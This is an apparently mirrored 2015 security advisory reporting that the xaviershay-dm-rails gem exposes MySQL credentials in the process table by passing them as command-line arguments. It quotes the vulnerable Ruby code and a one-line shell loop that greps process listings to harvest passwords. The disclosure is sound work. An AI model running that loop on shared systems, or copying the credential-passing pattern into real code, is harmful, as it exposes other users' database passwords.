Lucene search
K

xaviershay-dm-rails 0.10.3.8 MySQL Credential Disclosure

🗓️ 22 Feb 2015 00:00:00Reported by Larry W. CashdollarType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 13 Views

xaviershay-dm-rails v0.10.3.8 mysql credential exposure. Gem allows datamapper to hook into rails and exposes user credentials through the execute function

Code
`Title: xaviershay-dm-rails v0.10.3.8 mysql credential exposure  
Author: Larry W. Cashdollar, @_larry0  
Date: 2015-02-17  
Download Site: https://rubygems.org/gems/xaviershay-dm-rails  
Vendor: Martin Gamsjaeger, Dan Kubb  
Vendor Notified: 2015-02-17  
Vendor Contact: notreal [at] rhnh.net  
Description: This gem provides the railtie that allows datamapper to hook into rails3 and thus behave like a rails framework component. Just like activerecord does in rails, dm-rails uses the railtie API to hook into rails. The two are actually hooked into rails almost identically.  
Vulnerability:  
The problem is with the execute function exposing the user credentials to the process table.  
  
Lines 169 - 177 in /datamapper/dm-rails/blob/master/lib/dm-rails/storage.rb:  
  
def execute(statement)  
system(  
'mysql',  
(username.blank? ? '' : "--user=#{username}"),  
(password.blank? ? '' : "--password=#{password}"),  
'-e',  
statement  
)  
end  
  
OSVDB:118579  
Exploit Code:  
• $ while (true) do ps -ef |grep [p]assword; done  
Advisory: http://www.vapid.dhs.org/advisory.php?v=115  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation